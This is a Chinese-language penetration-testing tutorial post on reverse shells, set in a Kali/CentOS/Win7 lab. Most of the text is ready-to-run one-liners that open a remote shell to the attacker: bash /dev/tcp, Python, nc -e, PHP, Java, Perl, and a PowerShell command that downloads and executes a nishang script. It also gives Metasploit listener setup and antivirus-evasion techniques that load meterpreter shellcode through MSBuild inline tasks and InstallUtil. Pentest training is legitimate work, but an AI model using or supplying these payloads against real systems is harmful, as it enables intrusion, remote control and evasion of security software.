标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2020-2739]   作者: 闲云野鸡 发表于: [2020-08-28]

本文共 [18] 位读者顶过

在我们渗透测试的过程中,最常用的就是基于tcp/udp协议反弹一个shell,也就是反向连接。

我们先来讲一下什么是正向连接和反向连接。

  • 正向连接:我们本机去连接目标机器,比如ssh和mstsc
  • 反向连接:目标机器去连接我们本机

那么为什么反向连接会比较常用呢

  1. 目标机器处在局域网内,我们正向连不上他
  2. 目标机器是动态ip
  3. 目标机器存在防火墙

然后说一下我的实验环境

虚拟机采用nat模式

攻击机:Kali Linux :172.16.1.130

受害机:Centos 7 :172.16.1.134

常见姿势

bash

bash也是最常见的一种方式

Kali监听

nc -lvvp 4444 

centos运行

bash -i >& /dev/tcp/172.16.1.130/4444 0>&1 
当然你还可以这样

exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5|while read line;do $line >&5 2>&1;done

python

攻击机Kali和监听

nc -lvvp 4444

centos执行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.1.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

nc

如果目标机器上有nc并且存在-e参数,那么可以建立一个反向shell

攻击机监听

nc -lvvp 4444
目标机器执行

nc 172.16.1.130 4444 -t -e /bin/bash

这样会把目标机的/bin/bash反弹给攻击机

但是很多Linux的nc很多都是阉割版的,如果目标机器没有nc或者没有-e选项的话,不建议使用nc的方式

php

攻击机监听

nc -lvvp 4444

要求目标机器有php然后执行

php -r '$sock=fsockopen("172.16.1.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

或者你直接在web目录写入一个php文件,然后浏览器去访问他就行了,这有一个Linux和Windows两用的脚本

Java 脚本反弹

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/172.16.1.130/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

perl 脚本反弹

perl -e 'use Socket;$i="172.16.1.130";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

powershell

目标机器执行

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 172.16.1.130 -port 4444

msfvenom 获取反弹一句话

msf支持多种反弹方式,比如exe ps php asp aspx甚至是ruby等,我们可以用msfvenom来生成payload,然后在msf中监听,执行之后就会反弹回来session

生成payload的方法参考生成msf常用payload,不再赘述

然后msf监听

msfconsole
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 172.16.1.130 set LPORT 4444 set ExitOnSession false exploit -j -z
			

那么讲到这里我们把一句话反弹shell的方式讲的差不多了,但是到这里我们又涉及到了一个免杀的问题。

我们首先需要知道的是目前的反病毒软件查杀,常见的有三种:

  1. 基于文件特征
  2. 基于文件行为
  3. 基于云查杀 实际也是基于特征数据库的查杀

到目前为止,我所知道的免杀姿势有以下几种

  1. Windows白名单 俗称白加黑 也就是用带有微软签名的软件来运行我们自己的shellcode
  2. payload分离免杀 比如shellcode loader
  3. 换一门偏僻的语言来自己写反弹shell

而接下来的几种只适用于Windows。

攻击机:Kali Linux :172.16.1.130

受害机:Win 7 :172.16.1.135

Windows白加黑

白加黑需要的payload可以使用一句话下载姿势总结 把payload下载到目标机器,这里不再赘述。

MSBuild

MSBuild是Microsoft Build Engine的缩写,代表Microsoft和Visual Studio的新的生成平台

MSBuild可在未安装Visual Studio的环境中编译.net的工程文件

MSBuild可编译特定格式的xml文件

[出自:jiwo.org]

意思就是msbuild可以编译执行csharp代码。

在这里我们需要知道的是msbuild的路径

加载32位的shellcode需要用32位的msbuild

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

加载64位的shellcode需要用64位的msbuild

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

我们这里用64位的shellcode和64位的win7来操作。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

生成shellcode之后我们需要用到一个三好学生师傅的https://github.com/3gstudent/msbuild-inline-task

我们用的是executes x64 shellcode.xml的模板,把里面45行之后的改为自己的shellcode


然后msf监听

msfconsole
use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 172.16.1.130 set LPORT 4444 set ExitOnSession false set autorunscript migrate -n explorer.exe
exploit -j
在目标机器上运行

C:\Windows\Microsoft.NET\Framework64\v4.0.30319>MSBuild.exe "C:\Users\jack.0DAY\Desktop\exec.xml"

Installutil.exe&csc.exe

nstaller工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源。此工具与System.Configuration.Install命名空间中的类一起使用。

通过msfvenom生成C#的shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.1.130 lport=4444 -f csharp

下载InstallUtil-Shellcode.cs,将上面生成的shellcode复制到该cs文件中

https://gist.github.com/lithackr/b692378825e15bfad42f78756a5a3260

csc编译InstallUtil-ShellCode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:D:\test\InstallUtil-shell.exe D:\test\InstallUtil-ShellCode.cs

编译生成的文件后缀名无所谓exe dll txt都可以,但只能InstallUtil.exe来触发

InstallUtil.exe执行 反弹shell

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U D:\test\InstallUtil-shell.exe

评论

暂无
发表评论
 返回顶部 
热度(18)
 关注微信